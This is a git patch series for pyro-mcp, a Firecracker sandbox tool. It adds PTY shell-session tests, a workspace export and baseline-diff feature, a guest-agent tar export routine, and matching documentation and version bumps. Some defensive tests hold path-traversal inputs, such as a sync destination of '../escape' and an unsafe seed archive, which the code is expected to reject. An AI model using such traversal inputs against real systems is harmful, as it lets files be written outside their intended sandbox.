test_workspace_sync_push_rejects_destination_outside_workspace(tmp_path: Pat manager.push_workspace_sync(workspace_id, source_path=source_dir, dest="../escape") +def test_workspace_shell_lifecycle_and_rehydration(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + assert opened["state"] == "running" + + manager.write_shell(workspace_id, shell_id, input_text="pwd") + + output = "" + deadline = time.time() + 5 + while time.time() < deadline: + read = manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) + output = str(read["output"]) + if "/workspace" in output: + break + time.sleep(0.05) + assert "/workspace" in output + + manager_rehydrated = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + second_opened = manager_rehydrated.open_shell(workspace_id) + second_shell_id = str(second_opened["shell_id"]) + assert second_shell_id != shell_id + + manager_rehydrated.write_shell(workspace_id, second_shell_id, input_text="printf 'ok\\n'") + second_output = "" + deadline = time.time() + 5 + while time.time() < deadline: + read = manager_rehydrated.read_shell( + workspace_id, + second_shell_id, + cursor=0, + max_chars=65536, + ) + second_output = str(read["output"]) + if "ok" in second_output: + break + time.sleep(0.05) + assert "ok" in second_output + + logs = manager.logs_workspace(workspace_id) + assert logs["count"] == 0 + + closed = manager.close_shell(workspace_id, shell_id) + assert closed["closed"] is True + with pytest.raises(ValueError, match="does not exist"): + manager.read_shell(workspace_id, shell_id) + + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + with pytest.raises(ValueError, match="does not exist"): + manager_rehydrated.read_shell(workspace_id, second_shell_id) + + def test_workspace_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: archive_path = tmp_path / "bad.tgz" with tarfile.open(archive_path, "w:gz") as archive: diff --git a/tests/test_workspace_shells.py b/tests/test_workspace_shells.py new file mode 100644 index 0000000..7b56cf4 --- /dev/null +++ b/tests/test_workspace_shells.py @@ -0,0 +1,220 @@ +from __future__ import annotations + +import os +import subprocess +import time +from pathlib import Path +from typing import cast + +import pytest + +from pyro_mcp.workspace_shells import ( + create_local_shell, + get_local_shell, + remove_local_shell, + shell_signal_arg_help, + shell_signal_names, +) + + +def _read_until( + workspace_id: str, + shell_id: str, + text: str, + *, + timeout_seconds: float = 5.0, +) -> dict[str, object]: + deadline = time.time() + timeout_seconds + payload = get_local_shell(workspace_id=workspace_id, shell_id=shell_id).read( + cursor=0, + max_chars=65536, + ) + while text not in str(payload["output"]) and time.time() < deadline: + time.sleep(0.05) + payload = get_local_shell(workspace_id=workspace_id, shell_id=shell_id).read( + cursor=0, + max_chars=65536, + ) + return payload + + +def test_workspace_shells_round_trip(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-1", + shell_id="shell-1", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + assert session.summary()["state"] == "running" + write = session.write("printf 'hello\\n'", append_newline=True) + assert write["input_length"] == 16 + payload = _read_until("workspace-1", "shell-1", "hello") + assert "hello" in str(payload["output"]) + assert cast(int, payload["next_cursor"]) >= cast(int, payload["cursor"]) + assert isinstance(payload["truncated"], bool) + session.write("sleep 60", append_newline=True) + signaled = session.send_signal("INT") + assert signaled["signal"] == "INT" + finally: + closed = session.close() + assert closed["closed"] is True + + +def test_workspace_shell_registry_helpers(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-2", + shell_id="shell-2", + cwd=tmp_path, + display_cwd="/workspace/subdir", + cols=80, + rows=24, + ) + assert get_local_shell(workspace_id="workspace-2", shell_id="shell-2") is session + assert shell_signal_names() == ("HUP", "INT", "TERM", "KILL") + assert "HUP" in shell_signal_arg_help() + with pytest.raises(RuntimeError, match="already exists"): + create_local_shell( + workspace_id="workspace-2", + shell_id="shell-2", + cwd=tmp_path, + display_cwd="/workspace/subdir", + cols=80, + rows=24, + ) + removed = remove_local_shell(workspace_id="workspace-2", shell_id="shell-2") + assert removed is session + assert remove_local_shell(workspace_id="workspace-2", shell_id="shell-2") is None + with pytest.raises(ValueError, match="does not exist"): + get_local_shell(workspace_id="workspace-2", shell_id="shell-2") + closed = session.close() + assert closed["closed"] is True + + +def test_workspace_shells_error_after_exit(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-3", + shell_id="shell-3", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + session.write("exit", append_newline=True) + deadline = time.time() + 5 + while session.summary()["state"] != "stopped" and time.time() < deadline: + time.sleep(0.05) + assert session.summary()["state"] == "stopped" + with pytest.raises(RuntimeError, match="not running"): + session.write("pwd", append_newline=True) + with pytest.raises(RuntimeError, match="not running"): + session.send_signal("INT") + closed = session.close() + assert closed["closed"] is True + + +def test_workspace_shells_reject_invalid_signal(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-4", + shell_id="shell-4", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + with pytest.raises(ValueError, match="unsupported shell signal"): + session.send_signal("BOGUS") + finally: + session.close() + + +def test_workspace_shells_init_failure_closes_ptys( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + def _boom(*args: object, **kwargs: object) -> object: + raise RuntimeError("boom") + + monkeypatch.setattr(subprocess, "Popen", _boom) + with pytest.raises(RuntimeError, match="boom"): + create_local_shell( + workspace_id="workspace-5", + shell_id="shell-5", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + + +def test_workspace_shells_write_and_signal_runtime_errors( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + session = create_local_shell( + workspace_id="workspace-6", + shell_id="shell-6", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + with session._lock: # noqa: SLF001 + session._master_fd = None # noqa: SLF001 + with pytest.raises(RuntimeError, match="transport is unavailable"): + session.write("pwd", append_newline=True) + + with session._lock: # noqa: SLF001 + master_fd, slave_fd = os.pipe() + os.close(slave_fd) + session._master_fd = master_fd # noqa: SLF001 + + def _raise_write(fd: int, data: bytes) -> int: + del fd, data + raise OSError("broken") + + monkeypatch.setattr("pyro_mcp.workspace_shells.os.write", _raise_write) + with pytest.raises(RuntimeError, match="failed to write"): + session.write("pwd", append_newline=True) + + def _raise_killpg(pid: int, signum: int) -> None: + del pid, signum + raise ProcessLookupError() + + monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", _raise_killpg) + with pytest.raises(RuntimeError, match="not running"): + session.send_signal("INT") + finally: + try: + session.close() + except Exception: + pass + + +def test_workspace_shells_refresh_process_state_updates_exit_code(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-7", + shell_id="shell-7", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + class StubProcess: + def poll(self) -> int: + return 7 + + session._process = StubProcess() # type: ignore[assignment] # noqa: SLF001 + session._refresh_process_state() # noqa: SLF001 + assert session.summary()["state"] == "stopped" + assert session.summary()["exit_code"] == 7 + finally: + try: + session.close() + except Exception: + pass diff --git a/uv.lock b/uv.lock index 4fd3492..0297f19 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.4.0" +version = "2.5.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 84a7e18d4dfe921e0f94e30e82fc5275923000e9 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 03:15:45 -0300 Subject: [PATCH 18/49] Add workspace export and baseline diff Complete the 2.6.0 workspace milestone by adding explicit host-out export and immutable-baseline diff across the CLI, Python SDK, and MCP server. Capture a baseline archive at workspace creation, export live /workspace paths through the guest agent, and compute structured whole-workspace diffs on the host without affecting command logs or shell state. The docs, roadmap, bundled guest agent, and workspace example now reflect the new create -> sync -> diff -> export workflow. Validation: uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed Firecracker smoke covering workspace create, sync push, diff, export, and delete. --- CHANGELOG.md | 10 + README.md | 20 +- docs/first-run.md | 19 +- docs/install.md | 14 +- docs/integrations.md | 5 + docs/public-contract.md | 14 + docs/roadmap/task-workspace-ga.md | 9 +- ...6.0-structured-export-and-baseline-diff.md | 2 + examples/python_workspace.py | 6 + pyproject.toml | 2 +- .../linux-x86_64/guest/pyro_guest_agent.py | 69 ++ src/pyro_mcp/api.py | 30 + src/pyro_mcp/cli.py | 131 ++++ src/pyro_mcp/contract.py | 8 + .../linux-x86_64/guest/pyro_guest_agent.py | 69 ++ .../runtime_bundle/linux-x86_64/manifest.json | 2 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_guest.py | 54 ++ src/pyro_mcp/vm_manager.py | 619 +++++++++++++++++- tests/test_api.py | 8 + tests/test_cli.py | 108 +++ tests/test_public_contract.py | 12 + tests/test_server.py | 38 +- tests/test_vm_guest.py | 48 ++ tests/test_vm_manager.py | 234 +++++++ uv.lock | 2 +- 26 files changed, 1492 insertions(+), 43 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c0269c6..f8ffbcf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.6.0 + +- Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with + `pyro workspace export`, `Pyro.export_workspace()`, `pyro workspace diff`, + `Pyro.diff_workspace()`, and the matching `workspace_export` / `workspace_diff` MCP tools. +- Captured an immutable create-time baseline for every new workspace so later `workspace diff` + compares the live `/workspace` tree against that original seed state. +- Kept export and diff separate from command execution and shell state so workspaces can mutate, + be inspected, and copy results back to the host without affecting command logs or shell sessions. + ## 2.5.0 - Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with diff --git a/README.md b/README.md index 11fac75..7f4f812 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.5.0: [CHANGELOG.md#250](CHANGELOG.md#250) +- What's new in 2.6.0: [CHANGELOG.md#260](CHANGELOG.md#260) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.5.0 +Catalog version: 2.6.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -78,6 +78,8 @@ After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` +- diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` +- export a changed file or directory with `uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) @@ -132,7 +134,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.5.0 +Catalog version: 2.6.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -210,6 +212,8 @@ longer-term interaction model. pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace diff WORKSPACE_ID +pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID @@ -222,10 +226,12 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.5.0`; if it fails -partway through, delete and recreate the workspace from its seed. Use `pyro workspace exec` for -one-shot non-interactive commands inside a live workspace, and `pyro workspace shell *` when you -need a persistent PTY session that keeps interactive shell state between calls. +later host-side changes into a started workspace. Sync is non-atomic in `2.6.0`; if it fails +partway through, delete and recreate the workspace from its seed. Use `pyro workspace diff` to +compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` +to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot +non-interactive commands inside a live workspace, and `pyro workspace shell *` when you need a +persistent PTY session that keeps interactive shell state between calls. ## Public Interfaces diff --git a/docs/first-run.md b/docs/first-run.md index b0d0e73..ed2a0a7 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.5.0 +Catalog version: 2.6.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -72,6 +72,8 @@ deterministic structured result. $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes +$ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID +$ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID $ uvx --from pyro-mcp pyro mcp serve ``` @@ -98,6 +100,15 @@ $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID -- cat src/note.txt hello from synced workspace [workspace-exec] workspace_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... +$ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID +[workspace-diff] workspace_id=... total=... added=... modified=... deleted=... type_changed=... text_patched=... non_text=... +--- a/src/note.txt ++++ b/src/note.txt +@@ ... + +$ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt +[workspace-export] workspace_id=... workspace_path=/workspace/src/note.txt output_path=... artifact_type=file entry_count=... bytes_written=... execution_mode=guest_vsock + $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID [workspace-shell-open] workspace_id=... shell_id=... state=running cwd=/workspace cols=120 rows=30 execution_mode=guest_vsock @@ -112,8 +123,10 @@ $ uvx --from pyro-mcp pyro workspace shell read WORKSPACE_ID SHELL_ID Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.5.0`; if it fails partway through, delete and recreate the -workspace. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you +workspace. Sync is non-atomic in `2.6.0`; if it fails partway through, delete and recreate the +workspace. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable +create-time baseline, and `pyro workspace export` to copy one changed file or directory back to +the host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need a persistent interactive PTY session in that same workspace. Example output: diff --git a/docs/install.md b/docs/install.md index 4e7300b..847291b 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.5.0 +Catalog version: 2.6.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -176,6 +176,8 @@ After the CLI path works, you can move on to: - persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` +- baseline diff: `pyro workspace diff WORKSPACE_ID` +- host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - interactive shells: `pyro workspace shell open WORKSPACE_ID` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` @@ -189,6 +191,8 @@ Use `pyro workspace ...` when you need repeated commands in one sandbox instead pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace diff WORKSPACE_ID +pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID @@ -201,9 +205,11 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.5.0`; if it fails partway through, delete and recreate the workspace from its -seed. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need -an interactive PTY that survives across separate calls. +is non-atomic in `2.6.0`; if it fails partway through, delete and recreate the workspace from its +seed. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time +baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use +`pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need an +interactive PTY that survives across separate calls. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 9be184d..e66791e 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -31,6 +31,7 @@ Recommended surface: - `vm_run` - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state +- `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer - `open_shell` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace Canonical example: @@ -67,6 +68,7 @@ Recommended default: - `Pyro.run_in_vm(...)` - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required +- `Pyro.diff_workspace(...)` + `Pyro.export_workspace(...)` when the agent needs baseline comparison or host-out file transfer - `Pyro.open_shell(...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace Lifecycle note: @@ -78,6 +80,9 @@ Lifecycle note: `/workspace` that starts from host content - use `push_workspace_sync(...)` when later host-side changes need to be imported into that running workspace without recreating it +- use `diff_workspace(...)` when the agent needs a structured comparison against the immutable + create-time baseline +- use `export_workspace(...)` when the agent needs one file or directory copied back to the host - use `open_shell(...)` when the agent needs interactive shell state instead of one-shot execs Examples: diff --git a/docs/public-contract.md b/docs/public-contract.md index 65e5b74..f62ce2e 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -22,6 +22,8 @@ Top-level commands: - `pyro workspace create` - `pyro workspace sync push` - `pyro workspace exec` +- `pyro workspace export` +- `pyro workspace diff` - `pyro workspace shell open` - `pyro workspace shell read` - `pyro workspace shell write` @@ -54,6 +56,8 @@ Behavioral guarantees: - `pyro workspace create` auto-starts a persistent workspace. - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. +- `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. +- `pyro workspace diff WORKSPACE_ID` compares the current `/workspace` tree to the immutable create-time baseline. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. @@ -76,6 +80,8 @@ Supported public entrypoints: - `Pyro.create_vm(...)` - `Pyro.create_workspace(...)` - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` +- `Pyro.export_workspace(workspace_id, path, *, output_path)` +- `Pyro.diff_workspace(workspace_id)` - `Pyro.open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` - `Pyro.read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` - `Pyro.write_shell(workspace_id, shell_id, *, input, append_newline=True)` @@ -104,6 +110,8 @@ Stable public method names: - `create_vm(...)` - `create_workspace(...)` - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` +- `export_workspace(workspace_id, path, *, output_path)` +- `diff_workspace(workspace_id)` - `open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` - `read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` - `write_shell(workspace_id, shell_id, *, input, append_newline=True)` @@ -130,6 +138,8 @@ Behavioral defaults: - `allow_host_compat` defaults to `False` on `create_workspace(...)`. - `Pyro.create_workspace(..., seed_path=...)` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. +- `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. +- `Pyro.diff_workspace(...)` compares the current `/workspace` tree to the immutable create-time baseline. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. - `Pyro.exec_workspace(...)` runs one command in the persistent workspace and leaves it alive. - `Pyro.open_shell(...)` opens a persistent PTY shell attached to one started workspace. @@ -159,6 +169,8 @@ Persistent workspace tools: - `workspace_create` - `workspace_sync_push` - `workspace_exec` +- `workspace_export` +- `workspace_diff` - `shell_open` - `shell_read` - `shell_write` @@ -176,6 +188,8 @@ Behavioral defaults: - `workspace_create` exposes `allow_host_compat`, which defaults to `false`. - `workspace_create` accepts optional `seed_path` and seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. +- `workspace_export` exports one file or directory from `/workspace` to an explicit host path. +- `workspace_diff` compares the current `/workspace` tree to the immutable create-time baseline. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `workspace_exec` runs one command in a persistent `/workspace` and leaves the workspace alive. - `shell_open`, `shell_read`, `shell_write`, `shell_signal`, and `shell_close` manage persistent PTY shells inside a started workspace. diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index e878c10..631f2af 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,12 +2,13 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.5.0`: +Current baseline is `2.6.0`: - workspace persistence exists and the public surface is now workspace-first -- host crossing currently covers create-time seeding and later sync push +- host crossing currently covers create-time seeding, later sync push, and explicit export - persistent PTY shell sessions exist alongside one-shot `workspace exec` -- no export, diff, service, snapshot, reset, or secrets contract exists yet +- immutable create-time baselines now power whole-workspace diff +- no service, snapshot, reset, or secrets contract exists yet Locked roadmap decisions: @@ -28,7 +29,7 @@ also expected to update: 1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done 2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done -3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) +3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done 4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) 5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) 6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) diff --git a/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md index 9a51d55..4ee66bb 100644 --- a/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md +++ b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md @@ -1,5 +1,7 @@ # `2.6.0` Structured Export And Baseline Diff +Status: Done + ## Goal Complete the next explicit host-crossing step by letting a workspace export diff --git a/examples/python_workspace.py b/examples/python_workspace.py index c1a3f9e..141fc8f 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -11,6 +11,7 @@ def main() -> None: with ( tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir, tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir, ): Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") @@ -20,6 +21,11 @@ def main() -> None: pyro.push_workspace_sync(workspace_id, sync_dir) result = pyro.exec_workspace(workspace_id, command="cat note.txt") print(result["stdout"], end="") + diff_result = pyro.diff_workspace(workspace_id) + print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}") + exported_path = Path(export_dir, "note.txt") + pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path) + print(exported_path.read_text(encoding="utf-8"), end="") logs = pyro.logs_workspace(workspace_id) print(f"workspace_id={workspace_id} command_count={logs['count']}") finally: diff --git a/pyproject.toml b/pyproject.toml index 2ad5fb0..e88ae09 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.5.0" +version = "2.6.0" description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index 03ff492..91a9103 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -14,6 +14,7 @@ import socket import struct import subprocess import tarfile +import tempfile import termios import threading import time @@ -180,6 +181,54 @@ def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: } +def _inspect_archive(archive_path: Path) -> tuple[int, int]: + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + entry_count += 1 + if member.isfile(): + bytes_written += member.size + return entry_count, bytes_written + + +def _prepare_export_archive(path: str) -> dict[str, Any]: + normalized_path, source_path = _normalize_destination(path) + if not source_path.exists() and not source_path.is_symlink(): + raise RuntimeError(f"workspace path does not exist: {normalized_path}") + if source_path.is_symlink(): + artifact_type = "symlink" + elif source_path.is_file(): + artifact_type = "file" + elif source_path.is_dir(): + artifact_type = "directory" + else: + raise RuntimeError(f"unsupported workspace path type: {normalized_path}") + + with tempfile.NamedTemporaryFile(prefix="pyro-export-", suffix=".tar", delete=False) as handle: + archive_path = Path(handle.name) + try: + with tarfile.open(archive_path, "w") as archive: + archive.dereference = False + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + else: + archive.add(source_path, arcname=source_path.name, recursive=False) + entry_count, bytes_written = _inspect_archive(archive_path) + return { + "workspace_path": str(normalized_path), + "artifact_type": artifact_type, + "archive_path": archive_path, + "archive_size": archive_path.stat().st_size, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + except Exception: + archive_path.unlink(missing_ok=True) + raise + + def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: started = time.monotonic() try: @@ -533,6 +582,26 @@ def main() -> None: with conn: try: request = _read_request(conn) + if str(request.get("action", "")) == "export_archive": + export = _prepare_export_archive(str(request.get("path", "/workspace"))) + try: + header = { + "workspace_path": export["workspace_path"], + "artifact_type": export["artifact_type"], + "archive_size": export["archive_size"], + "entry_count": export["entry_count"], + "bytes_written": export["bytes_written"], + } + conn.sendall((json.dumps(header) + "\n").encode("utf-8")) + with Path(str(export["archive_path"])).open("rb") as handle: + while True: + chunk = handle.read(BUFFER_SIZE) + if chunk == b"": + break + conn.sendall(chunk) + finally: + Path(str(export["archive_path"])).unlink(missing_ok=True) + continue response = _dispatch(request, conn) except Exception as exc: # noqa: BLE001 response = {"error": str(exc)} diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 568d089..0653759 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -130,6 +130,22 @@ class Pyro: def logs_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.logs_workspace(workspace_id) + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + return self._manager.export_workspace( + workspace_id, + path=path, + output_path=output_path, + ) + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.diff_workspace(workspace_id) + def open_shell( self, workspace_id: str, @@ -370,6 